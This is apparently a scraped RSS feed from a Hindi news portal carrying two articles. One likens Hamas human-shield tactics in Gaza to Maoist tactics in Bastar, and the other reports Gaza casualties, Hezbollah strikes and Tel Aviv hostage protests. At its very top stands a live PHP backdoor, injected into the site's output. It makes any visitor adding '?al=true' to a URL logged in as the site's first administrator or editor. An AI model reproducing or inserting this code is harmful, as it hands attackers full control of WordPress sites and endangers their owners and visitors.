// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Hamas fighters – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 15 Sep 2024 10:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 बस्तर के माओवादियों के तरीके आजमा रहे गाजा में हमास के लड़ाके, इजरायल भारत से सीखे https://pratyushaashakinayikiran.com/?p=70828 Sun, 15 Sep 2024 10:06:00 +0000 https://pratyushaashakinayikiran.com/?p=70828  नई दिल्‍ली
भारत में रेड कॉरिडोर के क्षेत्रों में रहने वाले बाशिंदों को गुमराह करने, उनके यहां छिपने, सुरक्षा बलों का विरोध करने और उन पर हमले करने की माओवादियों की रणनीति बहुत पुरानी है। यह प्रभावी भी रही है। इस बीच इजरायल के साथ संघर्ष में हमास के लड़ाके गाजा में जिस तरह युद्ध में सफलता अर्जित कर रहे हैं, वह माओवादियों के मानव ढाल के तौर तरीकों से ही प्रेरित दिखाई पड़ती है। 6 अप्रैल 2010 को छत्तीसगढ़ के सुकमा जिले के ताड़मेटला गांव में एक बड़ा माओवादी हमला हुआ था। इसमें सीआरपीएफ के 76 जवान शहीद हो गए थे। ताड़मेटला में नक्सलियों ने जवानों के 80 हथियार भी लूट लिए थे। इस घटना के कुछ दिन बाद उसी इलाके के जंगलों में माओवादियों ने मीडिया को बुलाकर लूटे हथियारों की प्रदर्शनी लगाई थी। नक्सलियों ने यह वारदात कैसे अंजाम दी,यह अभी भी एक रहस्य है लेकिन इस बात के साफ़ संकेत मिले कि ताड़मेटला गांव के लोगों का नक्सलियों ने सूचना से लेकर हमले तक मानव ढाल की तरह उपयोग किया था।

इजरायल की ताकतवर सेना गाजा में लगभग 1 वर्ष से युद्ध लड़ रही है। गाजा इजरायल और भूमध्य सागर के बीच स्थित भूमि की एक संकरी पट्टी है। मात्र 41 किमी लंबा और 10 किमी चौड़े क्षेत्र में फैला गाजा 20 लाख से अधिक निवासियों वाला है और पृथ्वी पर सबसे घनी आबादी वाले स्थानों में से एक है। आधुनिक उपकरणों से लैस इजरायली सेना इस छोटे से क्षेत्र में अभी तक हमास को खत्म करने में कामयाब नहीं हो सकी है। अब अल-जौनी स्कूल और घरों पर इजरायल ने हमला किया है जिसमें कई लोग मारे गये हैं।

हमास लड़ाई में कर रहा मानव ढाल का उपयोग

इजरायली डिफेंस फोर्स का कहना है कि वह स्कूल के अंदर से हमले की योजना बना रहे हमास के आतंकवादियों को निशाना बना रही थी। उन्हें सूचना मिली थी कि वे यहां छिपे हुए हैं। वहीं हमास के आतंकियों की बचने की रणनीति लगातार कामयाब हो रही है और हजारों नागरिक इजरायली हमलों में लगातार मारे जा रहे हैं। इससे इजरायल को वैश्विक आलोचना का सामना करना पड़ रहा है और वह भारी दबाव में है। गौरतलब है कि गाजा के अल-शिफा अस्पताल का हमास ने इजराइल पर हमले के लिए खूब इस्‍तेमाल किया और उससे जुड़ी सुरंगों के चित्र दुनिया के सामने भी आये।

दरअसल, हमास इजरायल से संघर्ष में मानव ढाल का भरपूर उपयोग कर रहा है। मानव ढाल का प्रयोग जिनेवा कन्वेंशन के प्रोटोकॉल प्रथम के तहत निषिद्ध है और इसे युद्ध अपराध के साथ-साथ मानवीय कानून का उल्लंघन भी माना जाता है। हमास इससे इंकार करता है लेकिन हकीकत में इसके आतंकी मानव ढाल के रूप में नागरिक स्थलों को चुनते हैं। संघर्ष स्थल के निकट होने के कारण वे इसका बखूबी फायदा उठा रहे हैं। ये अपना काम करके वहां से भाग जाते हैं और बाद में इजरायली हमले में कई निर्दोष नागरिक मारे जाते हैं। हमास के लड़ाकों का यह तरीका भारत में माओवादी हमलों में कई वर्षों से आजमाया जाता रहा है। भारत में माओवाद को आंतरिक सुरक्षा के लिए बड़ा खतरा बताया जाता है और माओवादी सुरक्षाबलों से बचने के लिए मानव ढाल के तरीके कई दशकों से युद्धग्रस्त इलाकों में आजमा चुके हैं।

नक्‍सल‍ियों के लिए बढ़ गई मुश्किल

हाल ही में बस्तर रेंज के आईजी सुंदरराज पी ने छत्तीसगढ़ में माओवादियों के लगातार मारे जाने पर बड़ा खुलासा करते हुए कहा है कि इसका प्रमुख कारण वह मानव ढाल है जिसका उपयोग अब माओवादी नहीं कर पा रहे हैं। सुन्दरम के अनुसार प्रतिबंधित और गैरकानूनी सीपीआई नक्सल संगठन फोर्स से मुठभेड़ के दौरान स्थानीय नक्सली कैडर्स का सहारा लेते थे। इसके बाद बाहरी राज्यों के नक्सली लीडर्स की सहायता लेकर भाग जाते थे। ये एक तरह से कवच के रूप में काम करता था। स्थानीय नक्सली भौगोलिक परिस्थितियों से भलीभांति परिचित होते हैं, ऐसे में बड़े नक्सली नेता जनता के बीच से पुलिस और अर्द्धसैनिक बलों पर बड़े हमले करने में कामयाब हो जाते थे। वे वारदात को अंजाम देने के बाद भाग जाते थे और स्थानीय नक्सली और सहयोगी लोगों के पुलिस कार्रवाई की चपेट में आने की आशंका बढ़ जाती थी।

कुछ वर्षों से माओवाद के खिलाफ विकास की रणनीति कामयाब रही, छत्तीसगढ़ में सुरक्षा बलों ने सामाजिक और विकास संबंधी कार्यों से जनता का दिल जीता। वहीं बड़े माओवादी नेताओं की करतूतों को भी सुरक्षा बलों और पुलिस ने आम जनता के सामने रखा है। इसका नतीजा यह है कि स्थानीय नक्सली कैडर्स और जनता के सामने बाहरी नक्सली कैडर्स बेनकाब होते जा रहे हैं। इसके कारण से नक्सलियों के बीच आपस में विश्वासघात और विद्रोह की स्थिति बढ़ती जा रही है। अब स्थानीय नक्सली और लोग, बाहरी नक्सलियों की मानव ढाल बनने को तैयार नहीं हैं। इसी का नतीजा है कि बस्तर में नक्सलवाद खत्म हो रहा है।

हमास से जंग में इजरायल भारत से सीखे

दूसरी और गाजा में इजरायली सेना आम जनता का विश्वास जीतने की कोई कोशिश नहीं कर रही है। वह हमास के आतंकियों के रुकने और छिपने के स्थानों को चिन्हित कर निशाना बना रही है। हमास के आतंकी इजरायल पर हमला कर सुरक्षित भागने में कामयाब हो रहे हैं और इजरायल को लगातार नाकामी मिल रही है। हमास बस्तर के नक्सलियों के मानव ढाल के तरीकों को आजमा कर इजरायली सेना की नाक में दम किये है जबकि इजरायली सेना को इस स्थिति से निपटने के लिए बस्तर में आजमा जा रहे भारतीय सुरक्षा बलों के तौर तरीके से सीखने की जरूरत है। इजरायल फिलीस्तीन विवाद को खत्म करने के लिए विकास की दीर्घकालीन रणनीति पर इजरायल को काम करना ही होगा। अन्यथा हमास को फिलिस्तीन के लोगों से वैसे ही मदद मिलती रहेगी जैसी माओवादियों को कुछ वर्षों पहले तक रेड कॉरिडोर में मिला करती थी।

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गाजा में भयानक हुए हालात, 2 दिन में 120 की मौत, IDF ने मार गिराए हमास के 19 लड़ाके https://pratyushaashakinayikiran.com/?p=59760 Mon, 12 Aug 2024 13:09:00 +0000 https://pratyushaashakinayikiran.com/?p=59760 गाजा

मिडिल ईस्ट में लगातार बढ़ रहे तनाव के बीच हिज्बुल्लाह ने इजरायल पर लगभग 30 प्रोजेक्टाइल मिसाइलें दागी गई हैं. इजरायल की सेना आईडीएफ ने इसकी पुष्टि करते हुए कहा कि लेबनान की तरफ से बीती रात कई मिसाइलें दागी गईं.

लेबनान के संगठन हिज्बुल्लाह ने इस हमले की जिम्मेदारी लेते हुए कहा कि उन्होंने इजरायल के सैन्य ठिकानों को निशाना बनाकर ये हमला किया. इनमें से अधिकतर मिसाइलें खुले मैदानों में जाकर गिरी, जिससे किसी तरह के जान एवं माल का नुकसान नहीं हुआ.

इस हमले के बाद अमेरिका के रक्षा मंत्री लॉयड ऑस्टिन ने मिडिल ईस्ट में गाइडेड मिसाइल सबमरीन की तैनाती करने का आदेश दिया. उन्होंने इजरायल के रक्षा मंत्री योव गैलेंट से बात की और उन्हें बताया कि उन्होंने मदद के लिए दो जहाज और एक सबमरीन की तैनाती के आदेश दिए हैं.

अमेरिकी रक्षा मंत्रालय पेंटागन ने जारी बयान में कहा कि रक्षा मंत्री ऑस्टिन ने अब्राहम लिंकन स्ट्राइक ग्रुप से मिडिल ईस्ट में हथियारों की सप्लाई और बढ़ाने को कहा है.

गाजा में इजरायली हमलों से हालात भयावह होते जा रहे हैं. इजरायली सेना ने उत्तरी गाजा को एक बार फिर से खाली करने का आदेश दे दिया है. इसके बाद से मध्य और पूर्वी खान यूनिस समेत दक्षिण गाजा पट्टी से व्यापक स्तर पर पलायन शुरू हो गया है. बड़ी संख्या में लोग अपने-अपने सामानों के साथ चेतावनी वाली जगहों को छोड़कर सुरक्षित जगहों पर जाने की कोशिश में जुटे हैं. इनमें से कई लोग तो तीसरी बार विस्थापित हो रहे हैं.

पिछले दो दिनों में गाजा सिटी और खान यूनिस में 120 से ज्यादा लोगों की मौत हो चुकी है. इजरायली सेना का दावा है कि उसने हमास के 19 लड़ाकों को मार गिराया है. इजरायल डिफेंस फोर्सेस ने एक बयान में कहा है कि गाजा शहर में स्थित अल-तबाईन स्कूल परिसर में आतंकियों के सक्रिय होने की खुफिया सूचना मिली थी. इसके बाद आईडीएफ और आईएसए ने आतंकवादियों पर हवाई हमला किया, जिसमें 19 आतंकी मारे गए हैं.

आईडीएफ ने हमास के उन 19 लड़ाकों की लिस्ट जारी की है, जिन्हें मार गिराया गया है…

ईरानी विदेश मंत्रालय के प्रवक्ता नासिर कनानी ने इस हमले को नरसंहार और मानवता के खिलाफ अपराध बताया. उन्होंने कहा कि इजरायल ने एक बार फिर साबित कर दिया है कि वो किसी भी अंतरराष्ट्रीय कानून या नैतिक सिद्धांतों के प्रति प्रतिबद्ध नहीं है. इजरायल का सामना करने का एकमात्र तरीका यह है कि मुस्लिम देश एक साथ आएं और फिलिस्तीनी राष्ट्र का समर्थन करें. संयुक्त राष्ट्र सुरक्षा परिषद से कार्रवाई की मांग की गई है.

उधर, हमास की कैद से इजरायली बंधकों की रिहाई के लिए तेल अवीव में एक बार फिर प्रदर्शन हुआ. सड़कों पर उतरे हजारों लोगों ने प्रधानमंत्री बेंजामिन नेतन्याहू से बंधकों को छोड़ाने के लिए हमास से शांति समझौता करने की अपील की है. बंधक बनाए गए लोगों के परिजनों को डर है कि गाजा में युद्ध लंबा खींचता है तो ज्यादा बंधक मारे जाएंगे. इस प्रदर्शन में शामिल कुछ लोगों प्रधानमंत्री नेतन्याहू से इस्तीफा भी मांगा है.

तेल अवीव में प्रदर्शन कर रहे प्रदर्शनकारियों का दावा है कि प्रधानमंत्री नेतन्याहू और उनकी सरकार बंधकों को छुड़ाने और देश को चलाने में पूरी तरह से असमर्थ है. ऐसे में नेतन्याहू को तुरंत इस्तीफा देकर देश में आम चुनाव कराना चाहिए.. पिछले साल 7 अक्टूबर को हमास ने इजरायल पर हमला कर 250 से ज्यादा लोगों को बंधक बना लिया था, करीब आधे बंधकों को हमास अब तक छोड़ चुका है. लेकिन अभी भी 100 इजरायली उसकी कैद में है.

बताते चलें कि ईरान की राजधानी तेहरान में इस्माइल हानिया की हत्या के बाद हमास के नए चीफ का चुनाव कर लिया गया. अब याह्या सिनवार हमास का नया प्रमुख होगा, जिसे बेहद खूंखार माना जाता है. 7 अक्टूबर को इजरायल में हुए कत्लेआम का मास्टरमाइंड सिनवार को ही माना जाता है. उसके नेतृत्व में हमास के लड़ाकों ने 1200 इजरालियों को मौत की नींद सुला दिया था. उसके बाद से ही आईडीएफ उसकी तलाश में है.

इजरायल से ईरान और लेबनान क्यों हैं खफा?

बीते महीने ईरान की राजधानी तेहरान में हमास चीफ इस्माइल हानिया की हत्या के बाद मिडिल ईस्ट में तनाव बढ़ा है. हानिया की हत्या में इजरायल का हाथ बताया गया है. इस घटना से एक दिन पहले लेबनान की राजधानी बेरूत में हिजबुल्लाह के शीर्ष सैन्य कमांडर फउद शुकर की हत्या कर दी गई थी. हानिया, गाजा में हमास का चीफ था और वो ईरान के नए राष्ट्रपति के शपथ ग्रहण समारोह में शामिल होने तेहरान गया था.

हानिया की हत्या के बाद ईरान ने इजरायल को अंजाम भुगतने की चेतावनी भी दी थी. इसके बाद से हिजबुल्लाह ने इजरायल को टारगेट बनाना शुरू कर दिया. इससे पहले भी हिजबुल्लाह ने इजरायल पर करीब 50 रॉकेट दागे थे. हालांकि इजरायल के आयरन डोम ने इस हमले को नाकाम कर दिया था.

ईरान और हिजबुल्लाह की ओर से बदला लिए जाने का ऐलान करने पर मिडिल ईस्ट में बड़े स्तर युद्ध की आशंका बढ़ गई है. इस बीच, अमेरिकी राष्ट्रपति जो बाइडेन ने मौजूदा स्थिति पर चर्चा के लिए इमरजेंसी मीटिंग की थी. पेंटागन ने आगे की स्थिति को रोकने के लिए क्षेत्र में अतिरिक्त सैन्य बलों की तैनाती का ऐलान किया है.

 

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